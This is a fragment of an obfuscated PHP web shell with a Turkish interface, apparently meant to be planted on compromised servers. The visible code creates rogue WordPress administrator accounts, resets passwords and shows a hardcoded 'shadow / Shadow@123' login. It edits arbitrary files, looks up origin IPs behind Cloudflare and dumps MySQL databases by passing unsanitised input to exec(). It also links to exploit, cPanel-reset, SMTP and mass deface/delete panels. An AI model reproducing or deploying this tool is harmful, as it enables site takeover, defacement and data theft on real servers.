onclick=" document.querySelector('input[name=wp_user]').value='hacker'+Math.floor(Math.random()*900+100); document.querySelector('input[name=wp_pass]').value=Math.random().toString(36).substring(2,10)+'@'+Math.floor(Math.random()*900+100); "> <span class="icon">🎲</span> Rastgele Üret </button> <button type="reset" class="wp-btn-master warning"> <span class="icon">🔄</span> Temizle </button> </div> <!-- Ekstra Butonlar --> <div class="wp-btn-center" style="margin-top:4px;gap:8px;"> <button type="submit" name="wp_action" value="list" class="wp-btn-master purple" style="font-size:9px;padding:7px 16px;min-width:auto;"> <span class="icon">👥</span> Tüm Kullanıcılar </button> <button type="button" class="wp-btn-master danger" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" if(confirm('Tüm adminleri silmek istediğinize emin misiniz?')){ alert('Bu özellik için manuel müdahale gerekli'); } "> <span class="icon">🗑️</span> Admin Sil </button> <button type="button" class="wp-btn-master gold" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" let user=prompt('Şifresi sıfırlanacak kullanıcı ID:'); if(user){ document.querySelector('input[name=wp_reset_user]')?.remove(); let input=document.createElement('input'); input.type='hidden'; input.name='wp_reset_user'; input.value=user; this.closest('form').appendChild(input); document.querySelector('button[value=reset_pass]')?.click(); } "> <span class="icon">🔑</span> Şifre Sıfırla </button> <button type="submit" name="wp_action" value="reset_pass" class="wp-btn-master warning" style="display:none;">Gizli</button> </div> </form> <!-- Sonuç Gösterimi --> <?php if ($wp_result) { ?> <div class="wp-result-neon <?php echo $wp_result["\x74\171\160\145"]; ?> "> <?php echo $wp_result["\x6d\145\x73\163\141\x67\x65"]; ?> </div> <?php } ?> <!-- WordPress Bilgileri --> <?php if ($wp_found && file_exists($current_wp . "\x2f\x77\x70\x2d\x63\157\x6e\x66\151\147\x2e\x70\x68\x70")) { $config = wp_master_read_config($current_wp); ?> <div class="wp-info-neon"> <div class="wp-info-neon-item"> 📌 Versiyon <span><?php echo $config["\x76\x65\x72\163\x69\x6f\x6e"] ?? "\102\x69\x6c\151\x6e\155\x69\x79\x6f\162"; ?> </span> </div> <div class="wp-info-neon-item"> 🗄️ Veritabanı <span><?php echo $config["\144\142"] ?? "\77"; ?> </span> </div> <div class="wp-info-neon-item"> 🔤 Tablo Prefix <span><?php echo $config["\x70\x72\x65\x66\x69\170"] ?? "\x77\160\x5f"; ?> </span> </div> </div> <?php } ?> <!-- Hızlı Aksiyonlar --> <div class="wp-quick-neon"> <span class="label">⚡ Kısayollar</span> <button class="wp-quick-btn-neon" onclick="window.open('<?php echo $current_wp; ?> /wp-admin', '_blank')"> 🚀 WP-Admin Git </button> <button class="wp-quick-btn-neon" onclick="alert('WordPress giriş bilgileri:\nURL: <?php echo $current_wp; ?> /wp-admin\nKullanıcı: shadow\nŞifre: Shadow@123')"> 📝 Bilgi </button> <button class="wp-quick-btn-neon" onclick="document.querySelector('input[name=wp_pass]').value=Math.random().toString(36).substring(2,15)+'!@#'"> 🔐 Güçlü Şifre </button> <button class="wp-quick-btn-neon" onclick="navigator.clipboard?.writeText('<?php echo $current_wp; ?> ') && alert('Yol kopyalandı!')"> 📋 Yolu Kopyala </button> <button class="wp-quick-btn-neon" onclick="location.reload()"> 🔄 Yenile </button> </div> </div><!-- /wp-particle-content --> </div><!-- /wp-particle-container --> <?php } goto Sd1ol; sFquk: if (!function_exists("\x67\145\x74\106\x69\154\x65\111\x63\x6f\156")) { function getFileIcon($name, $isDir = false) { if ($isDir) { return "\146\141\x2d\x66\157\154\144\x65\x72"; } $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $icons = array("\x70\150\160" => "\146\141\55\143\x6f\x64\145", "\x70\150\164\x6d\x6c" => "\146\141\x2d\143\157\144\x65", "\x68\164\x6d\x6c" => "\146\x61\55\x68\164\x6d\154\x35", "\x68\164\x6d" => "\146\141\55\150\x74\x6d\154\65", "\143\163\x73" => "\x66\x61\55\x63\x73\x73\63", "\152\163" => "\146\141\55\x6a\163", "\152\x73\157\x6e" => "\x66\x61\x2d\143\157\x64\x65", "\x6a\160\x67" => "\146\x61\55\151\x6d\x61\147\x65", "\152\160\x65\x67" => "\146\141\55\x69\155\141\147\145", "\160\x6e\x67" => "\146\141\55\151\x6d\141\147\145", "\147\x69\x66" => "\x66\141\x2d\151\155\x61\x67\x65", "\x73\x76\147" => "\x66\141\55\151\155\x61\x67\x65", "\142\155\x70" => "\x66\141\x2d\151\155\x61\147\x65", "\x69\x63\x6f" => "\x66\141\x2d\151\x6d\x61\147\x65", "\x6d\x70\64" => "\x66\141\55\146\x69\x6c\155", "\x61\x76\151" => "\x66\x61\x2d\146\151\154\155", "\155\153\166" => "\146\x61\x2d\146\151\154\x6d", "\155\157\x76" => "\146\141\55\x66\151\x6c\155", "\155\160\63" => "\146\141\x2d\155\165\x73\151\143", "\x77\141\x76" => "\x66\x61\55\x6d\x75\163\151\143", "\x66\154\x61\143" => "\146\141\x2d\x6d\x75\x73\x69\143", "\172\x69\x70" => "\146\141\x2d\x66\x69\154\145\55\141\x72\x63\x68\x69\166\145", "\162\x61\162" => "\146\141\55\x66\x69\x6c\145\55\141\162\143\150\151\166\x65", "\67\x7a" => "\x66\141\x2d\x66\151\x6c\145\55\x61\x72\143\x68\x69\x76\x65", "\164\141\x72" => "\x66\141\x2d\x66\151\154\145\55\141\162\143\150\x69\166\x65", "\147\x7a" => "\146\x61\x2d\146\151\154\145\55\x61\x72\143\150\x69\x76\145", "\x70\x64\146" => "\146\x61\x2d\146\151\x6c\145\55\160\144\146", "\144\157\x63" => "\146\x61\55\x66\x69\154\x65\x2d\167\157\x72\x64", "\144\157\143\x78" => "\x66\141\55\146\x69\x6c\145\55\167\157\162\x64", "\170\x6c\x73" => "\146\141\x2d\x66\151\x6c\145\55\145\x78\143\145\154", "\170\x6c\x73\170" => "\x66\x61\x2d\146\x69\154\145\x2d\145\x78\143\x65\154", "\x70\x70\x74" => "\x66\x61\x2d\146\151\x6c\145\x2d\160\x6f\x77\x65\162\160\157\151\156\x74", "\x70\160\164\x78" => "\x66\x61\x2d\x66\x69\154\x65\55\160\x6f\x77\x65\x72\160\157\151\x6e\164", "\164\x78\x74" => "\146\x61\55\146\151\154\145\x2d\141\154\164", "\154\157\147" => "\x66\x61\x2d\146\151\154\145\x2d\141\154\x74", "\x6d\x64" => "\146\x61\x2d\x66\151\154\145\x2d\x61\x6c\164", "\151\x6e\151" => "\146\141\x2d\146\151\x6c\145\55\141\x6c\164", "\x63\157\x6e\x66" => "\x66\x61\55\x66\151\x6c\145\55\141\x6c\x74", "\x63\x66\x67" => "\x66\141\x2d\x66\151\154\145\55\141\x6c\x74", "\170\x6d\154" => "\x66\x61\x2d\146\151\154\x65\x2d\143\x6f\x64\x65", "\171\141\x6d\154" => "\146\141\55\146\151\154\145\55\x63\157\144\145", "\x79\155\154" => "\146\x61\x2d\x66\151\154\145\x2d\x63\157\x64\145", "\163\150" => "\146\141\55\x74\145\x72\x6d\x69\156\x61\154", "\142\x61\163\x68" => "\x66\x61\x2d\164\x65\162\x6d\151\x6e\141\154", "\160\x79" => "\146\141\55\x70\171\x74\150\157\x6e", "\x70\154" => "\146\x61\x2d\160\x65\162\x6c", "\162\142" => "\146\x61\x2d\x67\x65\x6d", "\x73\161\154" => "\x66\141\x2d\x64\141\x74\141\x62\141\163\x65", "\145\x78\x65" => "\x66\141\55\x63\157\x67", "\x6d\163\x69" => "\146\141\55\x63\157\x67", "\x64\x6c\x6c" => "\146\x61\x2d\x63\157\147"); return $icons[$ext] ?? "\146\141\55\146\151\x6c\145"; } } goto ssk7m; LGLlt: ?> "><i class="fas fa-skull"></i><span>Exploit</span></a> <a href="?action=firewall" class="<?php goto kYcRX; Ik9Rf: echo isWindows() ? "\xf0\237\xaa\x9f\x20\x57\151\156\x64\157\x77\163" : "\xf0\x9f\x90\xa7\40\x4c\151\x6e\x75\x78"; goto Rb54x; C_8j4: ?> <!-- ============================================================ --> <!-- ===== EDITOR ===== --> <!-- ============================================================ --> <?php goto O4Fgf; AYHd6: ?> "><i class="fas fa-shield-alt"></i><span>Firewall</span></a> <a href="?action=settings" class="<?php goto alEvT; uuskf: ?> "></i> <?php goto uziLo; keN6z: ?> "><i class="fas fa-server"></i><span>CPanel Reset</span></a> <a href="?action=smtp" class="<?php goto GZMsA; O4Fgf: if ($action == "\x65\144\x69\164\157\162") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-code"></i> Dosya Düzenleyici</h4> <form method="POST"> <input type="text" name="edit_file" placeholder="Dosya yolu" value="<?php echo isset($_POST["\145\144\x69\164\137\146\151\154\x65"]) ? $_POST["\x65\x64\x69\x74\x5f\x66\151\154\145"] : ''; ?> "> <textarea name="edit_content" rows="12" style="min-height:200px;font-size:11px;"><?php echo isset($_POST["\x65\144\151\164\x5f\x66\x69\x6c\x65"]) && file_exists($_POST["\145\144\151\x74\137\146\x69\x6c\145"]) ? htmlspecialchars(file_get_contents($_POST["\145\144\x69\164\x5f\146\x69\154\x65"])) : ''; ?> </textarea> <button type="submit" name="edit_save" value="1" class="btn"><i class="fas fa-save"></i> Kaydet</button> </form> <?php if (isset($_POST["\145\x64\151\164\x5f\x73\x61\166\145"]) && isset($_POST["\x65\x64\x69\x74\137\x66\x69\154\x65"]) && isset($_POST["\x65\144\x69\164\137\143\157\156\x74\145\x6e\164"])) { ?> <?php if (file_put_contents($_POST["\145\144\151\x74\137\x66\151\x6c\x65"], $_POST["\x65\x64\x69\x74\x5f\143\157\x6e\164\x65\x6e\164"])) { ?> <div class="output success">✅ Kaydedildi: <?php echo htmlspecialchars($_POST["\145\x64\151\164\137\146\x69\x6c\x65"]); ?> </div> <?php } else { ?> <div class="output error">❌ Kaydedilemedi!</div> <?php } ?> <?php } ?> </div> <?php } goto yYdwN; Tf8Th: if ($action == "\x63\154\157\165\144\146\154\x61\162\145") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-cloud-sun"></i> Cloudflare Bypass</h4> <form method="POST"> <input type="text" name="cf_domain" placeholder="Domain (örn: example.com)" value="example.com"> <button type="submit" name="cf_action" value="bypass" class="btn">🌐 Bypass</button> </form> <?php if (isset($_POST["\x63\x66\137\141\x63\164\x69\x6f\x6e"]) && $_POST["\143\x66\x5f\x61\143\x74\x69\x6f\156"] == "\x62\x79\160\x61\163\x73") { $domain = trim($_POST["\143\146\137\144\x6f\x6d\x61\x69\156"]); $domain = preg_replace("\x23\x5e\x68\x74\164\160\x73\77\x3a\x2f\57\x23", '', $domain); $domain = preg_replace("\43\57\56\52\x24\x23", '', $domain); echo "\x3c\144\x69\166\40\x63\x6c\141\163\x73\75\42\157\x75\x74\160\165\164\x22\76\xf0\237\x94\215\x20\x53\x6f\162\147\165\154\x61\x6e\304\xb1\171\157\x72\72\x20" . htmlspecialchars($domain) . "\74\x2f\x64\x69\166\x3e"; $ips = @gethostbynamel($domain); if ($ips && count($ips) > 0) { echo "\74\144\151\x76\x20\x63\154\141\163\x73\75\x22\157\165\164\160\165\x74\x20\163\x75\x63\x63\145\163\x73\x22\x3e\342\234\205\40\107\x65\162\xc3\xa7\145\153\x20\111\x50\47\x6c\x65\162\x3a\x3c\57\144\151\x76\76"; foreach ($ips as $ip) { echo "\74\144\151\166\x20\x63\154\x61\163\163\x3d\42\157\x75\164\160\165\x74\x22\76\xf0\237\x93\215\x20" . htmlspecialchars($ip) . "\74\57\x64\x69\166\x3e"; } } else { echo "\x3c\x64\151\x76\40\x63\154\141\x73\163\75\42\x6f\165\x74\x70\x75\164\40\x65\x72\162\157\162\42\x3e\xe2\235\x8c\40\x49\120\x20\x62\x75\154\x75\156\141\155\x61\x64\304\261\x21\x20\104\x4e\123\x20\303\247\xc3\266\x7a\303\xbc\155\x6c\x65\155\x65\163\x69\40\142\x61\305\x9f\x61\x72\xc4\xb1\x73\304\261\x7a\x2e\74\x2f\144\151\166\76"; } try { $headers = @get_headers("\x68\x74\164\x70\x3a\57\x2f" . $domain, 1); if ($headers && isset($headers["\123\x65\x72\x76\x65\x72"]) && strpos($headers["\123\145\162\x76\145\x72"], "\x63\x6c\x6f\x75\144\x66\154\141\x72\x65") !== false) { echo "\x3c\144\151\x76\x20\143\x6c\141\x73\163\75\42\157\x75\x74\160\x75\x74\x20\167\x61\x72\156\151\156\147\42\76\xe2\232\240\x20\103\154\157\165\144\x66\x6c\141\162\145\40\x74\145\x73\x70\x69\x74\40\x65\x64\x69\154\x64\x69\41\74\x2f\144\x69\x76\76"; } elseif ($headers) { echo "\x3c\144\x69\166\x20\143\154\141\163\x73\75\42\x6f\x75\164\160\x75\x74\40\163\165\143\x63\145\163\x73\42\x3e\342\x9c\205\x20\x53\165\156\x75\143\x75\x3a\40" . htmlspecialchars($headers["\x53\x65\x72\x76\145\162"] ?? "\102\x69\x6c\x69\156\155\x69\171\x6f\162") . "\74\57\144\151\x76\76"; } } catch (Exception $e) { echo "\x3c\x64\x69\166\40\x63\154\x61\163\x73\x3d\x22\x6f\x75\164\160\165\164\x20\167\141\x72\x6e\151\156\x67\x22\x3e\xe2\232\240\40\x48\x54\x54\x50\x20\163\157\x72\x67\x75\163\x75\x20\142\141\xc5\x9f\141\162\304\261\163\304\xb1\172\x3a\40" . $e->getMessage() . "\74\x2f\x64\151\x76\x3e"; } } ?> </div> <?php } goto kz5wY; mXJfL: if ($action == "\x62\141\143\153\x75\x70") { ?> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;"> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-archive"></i> Dosya Yedekle</h4> <form method="POST"> <input type="text" name="backup_dir" placeholder="Dizin" value="<?php echo getcwd(); ?> "> <input type="text" name="backup_name" placeholder="Çıktı adı" value="backup_<?php echo date("\131\x6d\x64\137\110\151\x73"); ?> .tar"> <div class="flex"> <button type="submit" name="backup_action" value="tar" class="btn btn-sm">📦 TAR</button> <button type="submit" name="backup_action" value="tar_gz" class="btn btn-sm">📦 TAR.GZ</button> <button type="submit" name="backup_action" value="copy" class="btn btn-sm">📋 Klasör Kopyala</button> </div> </form> <?php if (isset($_POST["\x62\141\x63\153\x75\160\x5f\x61\143\164\x69\157\x6e"]) && in_array($_POST["\x62\141\143\153\165\160\x5f\141\143\164\x69\157\x6e"], array("\x74\141\x72", "\x74\x61\162\137\147\x7a"))) { $useGzip = $_POST["\142\141\x63\x6b\x75\x70\137\x61\x63\x74\x69\157\156"] == "\164\x61\x72\x5f\147\x7a"; $tarName = $_POST["\x62\141\143\x6b\x75\x70\x5f\156\x61\x6d\x65"]; if ($useGzip) { $tarName = str_replace("\56\164\141\162", "\56\164\141\x72\x2e\x67\172", $tarName); } $dir = $_POST["\x62\141\x63\153\165\x70\x5f\x64\151\162"]; try { if (!is_dir($dir)) { throw new Exception("\104\x69\172\151\x6e\40\142\165\154\165\x6e\x61\x6d\141\x64\304\261"); } $tarData = ''; $fileCount = 0; $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); if ($filePath && file_exists($filePath)) { $relativePath = str_replace($dir . DIRECTORY_SEPARATOR, '', $filePath); $relativePath = str_replace("\x5c", "\57", $relativePath); $content = file_get_contents($filePath); if ($content !== false) { $header = pack("\141\61\x30\60\x61\x38\141\x38\x61\70\x61\x31\62\141\x31\x32\x61\70\141\x31\x61\61\x30\60\x61\62\x35\x35", $relativePath, "\60\60\60\x30\x36\x36\x34", "\60\x30\x30\60\x30\x30\x30", "\x30\x30\60\60\x30\x30\60", sprintf("\x25\x30\x31\x31\x6f", filesize($filePath)), sprintf("\x25\x30\x31\61\x6f", filemtime($filePath)), "\x20\40\x20\x20\40\40\x20\40", "\60", '', ''); $checksum = 0; for ($i = 0; $i < 512; $i++) { $checksum += ord($header[$i]); } $checksum = sprintf("\x25\x30\x36\x6f", $checksum) . "\0\x20"; $header = substr_replace($header, $checksum, 148, 8); $tarData .= $header . $content; $padding = 512 - filesize($filePath) % 512; if ($padding < 512) { $tarData .= str_repeat("\0", $padding); } $fileCount++; } } } } $tarData .= str_repeat("\x0", 1024); if ($fileCount > 0) { if ($useGzip) { file_put_contents($tarName, gzencode($tarData, 9)); } else { file_put_contents($tarName, $tarData); } echo "\x3c\x64\x69\166\x20\x63\154\x61\163\x73\75\x22\x6f\x75\x74\160\165\164\40\163\x75\143\x63\x65\x73\x73\42\76\342\x9c\x85\40\x41\162\xc5\x9f\x69\x76\40\157\x6c\x75\xc5\x9f\x74\x75\x72\165\x6c\144\165\x3a\x20" . $tarName . "\x20\50" . $fileCount . "\x20\x64\157\163\x79\141\x29\x3c\57\144\151\x76\x3e"; } else { throw new Exception("\110\151\303\xa7\40\144\157\x73\x79\x61\x20\145\x6b\x6c\x65\x6e\x65\155\x65\x64\151"); } } catch (Exception $e) { echo "\74\x64\x69\x76\x20\x63\x6c\141\163\x73\75\x22\x6f\165\x74\160\x75\x74\x20\x65\x72\162\157\162\x22\76\342\235\x8c\40\110\x61\164\141\72\x20" . $e->getMessage() . "\x3c\57\x64\151\166\x3e"; } } ?> <?php if (isset($_POST["\142\141\143\x6b\165\160\x5f\x61\x63\164\x69\157\x6e"]) && $_POST["\x62\x61\143\x6b\x75\160\137\x61\143\x74\151\x6f\x6e"] == "\143\157\x70\x79") { try { $dir = $_POST["\142\141\x63\x6b\165\160\137\144\151\x72"]; if (!is_dir($dir)) { throw new Exception("\104\151\x7a\151\156\x20\142\x75\x6c\165\156\x61\x6d\141\x64\304\xb1"); } $backupDir = "\142\141\143\x6b\165\x70\x5f" . date("\131\x6d\144\137\x48\151\x73"); if (!mkdir($backupDir, 511, true)) { throw new Exception("\113\x6c\141\x73\xc3\266\162\x20\157\154\165\305\x9f\164\165\162\x75\x6c\x61\155\x61\x64\xc4\261"); } $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); $fileCount = 0; foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); if ($filePath && file_exists($filePath)) { $relPath = str_replace($dir . DIRECTORY_SEPARATOR, '', $filePath); $relPath = str_replace("\134", "\57", $relPath); $target = $backupDir . "\x2f" . $relPath; $targetDir = dirname($target); if (!is_dir($targetDir)) { mkdir($targetDir, 511, true); } if (copy($filePath, $target)) { $fileCount++; } } } } echo "\x3c\144\x69\x76\40\143\154\141\x73\163\75\x22\157\x75\164\160\x75\164\40\x73\x75\x63\143\145\x73\x73\x22\x3e\342\x9c\205\x20\113\154\141\x73\xc3\266\162\40\153\x6f\160\x79\141\154\x61\156\144\304\xb1\72\40" . $backupDir . "\40\x28" . $fileCount . "\40\x64\157\x73\171\141\51\x3c\x2f\x64\151\166\76"; } catch (Exception $e) { echo "\x3c\x64\x69\166\x20\x63\154\x61\x73\x73\x3d\42\157\165\x74\x70\x75\164\40\x65\x72\x72\x6f\162\42\x3e\342\x9d\214\x20\x48\141\x74\141\x3a\x20" . $e->getMessage() . "\x3c\57\x64\151\166\76"; } } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-database"></i> MySQL Yedekle</h4> <form method="POST"> <div style="display:grid;grid-template-columns:1fr 1fr;gap:6px;"> <input type="text" name="backup_db_host" placeholder="Host" value="localhost"> <input type="text" name="backup_db_user" placeholder="Kullanıcı" value="root"> <input type="password" name="backup_db_pass" placeholder="Şifre"> <input type="text" name="backup_db_name" placeholder="Veritabanı"> </div> <button type="submit" name="backup_action" value="mysqldump" class="btn btn-sm">💾 Yedekle (SQL)</button> <button type="submit" name="backup_action" value="mysqldump_gz" class="btn btn-sm">💾 Yedekle (SQL.GZ)</button> </form> <?php if (isset($_POST["\x62\141\x63\153\165\x70\x5f\141\143\164\151\157\156"]) && in_array($_POST["\x62\x61\143\153\x75\160\137\x61\143\x74\x69\x6f\156"], array("\155\171\163\x71\154\144\165\x6d\160", "\x6d\x79\163\x71\x6c\x64\165\x6d\x70\137\x67\172"))) { ?> <?php try { $useGzip = $_POST["\142\141\143\x6b\165\160\x5f\141\x63\164\151\157\x6e"] == "\155\x79\x73\161\154\x64\x75\x6d\160\x5f\x67\x7a"; $dumpFile = "\144\x62\x5f\142\x61\143\153\x75\160\x5f" . date("\131\155\144\x5f\x48\x69\163") . "\56\163\161\154" . ($useGzip ? "\56\x67\x7a" : ''); $host = $_POST["\x62\x61\x63\153\x75\x70\x5f\x64\x62\x5f\x68\x6f\163\x74"]; $user = $_POST["\x62\141\143\153\x75\160\x5f\144\142\137\165\163\x65\162"]; $pass = $_POST["\x62\x61\x63\153\165\160\137\144\x62\137\160\x61\x73\x73"]; $db = $_POST["\x62\141\x63\x6b\165\x70\137\x64\x62\x5f\x6e\x61\x6d\145"]; if (empty($db)) { throw new Exception("\x56\x65\x72\151\x74\141\x62\x61\156\xc4\261\40\141\x64\xc4\xb1\40\x62\x6f\305\x9f\x20\157\154\x61\155\141\172"); } $tempFile = "\x74\145\x6d\x70\x5f" . date("\x59\x6d\144\x5f\110\151\163") . "\x2e\163\161\154"; $cmd = isWindows() ? "\x6d\171\163\x71\x6c\x64\x75\155\x70\x20\x2d\150\x20" . $host . "\40\x2d\165\x20" . $user . "\x20\x2d\55\x70\x61\163\163\167\x6f\162\144\75" . $pass . "\x20" . $db . "\x20\x32\76\x6e\165\x6c\40\76\x20" . $tempFile : "\x6d\x79\x73\161\x6c\144\x75\155\x70\40\55\x68\x20" . $host . "\40\x2d\165\40" . $user . "\x20\x2d\x2d\160\x61\163\163\167\157\162\144\75" . $pass . "\40" . $db . "\x20\x32\76\57\x64\145\166\x2f\x6e\x75\154\154\40\76\40" . $tempFile; exec($cmd); if (file_exists($tempFile) && filesize($tempFile) > 0) { if ($useGzip) { file_put_contents($dumpFile, gzencode(file_get_contents($tempFile), 9)); unlink($tempFile); } else { rename($tempFile, $dumpFile); } echo "\x3c\144\151\166\40\x63\154\141\x73\163\x3d\x22\157\x75\x74\160\x75\x74\x20\163\x75\143\x63\x65\163\x73\42\76\342\234\205\40\x59\145\144\x65\153\154\145\155\145\40\164\141\x6d\x61\155\x6c\x61\156\144\304\261\72\40" . $dumpFile . "\74\57\x64\x69\x76\x3e"; } else { throw new Exception("\x4d\x79\123\x51\x4c\x20\171\x65\144\145\x6b\154\x65\x6d\x65\x20\142\141\305\x9f\141\162\304\261\163\304\261\x7a"); } } catch (Exception $e) { echo "\74\x64\151\x76\40\x63\x6c\141\163\x73\x3d\42\157\165\x74\x70\165\164\x20\x65\162\162\x6f\x72\x22\76\xe2\235\x8c\40\x48\141\x74\x61\72\40" . $e->getMessage() . "\74\57\x64\x69\x76\76"; } ?> <?php } ?> </div> </div> <?php } goto Vew3V; Sd1ol: ?> <!-- ============================================================ --> <!-- ===== GELİŞMİŞ MASS DEFACE/DELETE - NEON PARTİKÜL ===== --> <!-- ============================================================ --> <?php goto INJCc; INJCc: if ($action == "\x6d\141\x73\163") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-mass { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.35; } .mass-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== MASS CONTAINER ===== */ .mass-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== MASS CARDS ===== */ .mass-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .mass-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .mass-card:hover::before { opacity: 1; } .mass-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .mass-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .mass-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .mass-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .mass-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseMass 3s ease-in-out infinite; } @keyframes iconPulseMass { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .mass-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .mass-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } .mass-card .card-header .badge.danger { background: rgba(255, 0, 68, 0.1); border-color: rgba(255, 0, 68, 0.2); color: var(--neon-kirmizi); } /* ===== FORM ELEMENTS ===== */ .mass-form { display: flex; flex-direction: column; gap: 10px; } .mass-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .mass-form input, .mass-form select, .mass-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .mass-form input:focus, .mass-form select:focus, .mass-form textarea:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .mass-form input::placeholder, .mass-form textarea::placeholder { color: rgba(180, 150, 255, 0.25); } .mass-form select option { background: #1a0033; color: #d4bfff; } /* ===== NEON BUTTONS ===== */ .btn-neon-mass { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; } .btn-neon-mass:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); } .btn-neon-mass:active { transform: scale(0.95); } .btn-neon-mass.danger { background: linear-gradient(135deg, rgba(255, 0, 68, 0.2), rgba(255, 0, 170, 0.1)); border-color: rgba(255, 0, 68, 0.3); } .btn-neon-mass.danger:hover { border-color: rgba(255, 0, 68, 0.6); box-shadow: 0 0 30px rgba(255, 0, 68, 0.15); } .btn-neon-mass.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon-mass.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-neon-mass.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon-mass.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon-mass.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon-mass.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-neon-mass.small { padding: 6px 14px; font-size: 10px; } .btn-group-mass { display: flex; gap: 8px; flex-wrap: wrap; } /* ===== MASS OUTPUT ===== */ .mass-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 350px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .mass-output::before { content: '▼ TERMINAL OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .mass-output::-webkit-scrollbar { width: 4px; } .mass-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .mass-output::-webkit-scrollbar-thumb { background: 